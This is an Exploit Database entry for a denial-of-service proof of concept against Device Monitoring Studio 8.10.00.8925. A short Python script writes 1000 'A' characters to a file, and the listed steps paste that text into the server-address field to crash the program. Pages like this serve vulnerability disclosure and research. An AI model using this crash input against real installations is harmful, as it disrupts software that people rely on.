



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC)

**EDB-ID:**

46321

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[VICTOR MONDRAGÓN](#)

**Type:**

[DOS](#)

**Exploit:**  

**Platform:**

[WINDOWS](#)

**Date:**

2019-02-05

**Vulnerable App:**



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

#Exploit Title: Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC)

#Discovery by: Victor Mondragón

#Discovery Date: 2019-02-04

#Tested Version: 8.10.00.8925

#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:

#1.- Run python code: Device\_Monitoring\_Studio\_8.10.00.8925.py

#2.- Open code.txt and copy content to clipboard

#3.- Open Device Monitoring Studio

#4.- Select "Tools" > "Connect to New Server"

#5.- Select "Enter the name server or address" and Paste Clipboard

#6.- Select "Ok"

#7.- Crashed

```
cod = "\x41" * 1000
```

```
f = open('code.txt', 'w')
```

```
f.write(cod)
```

```
f.close()
```

Tags: [Denial of Service \(DoS\)](#),  
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.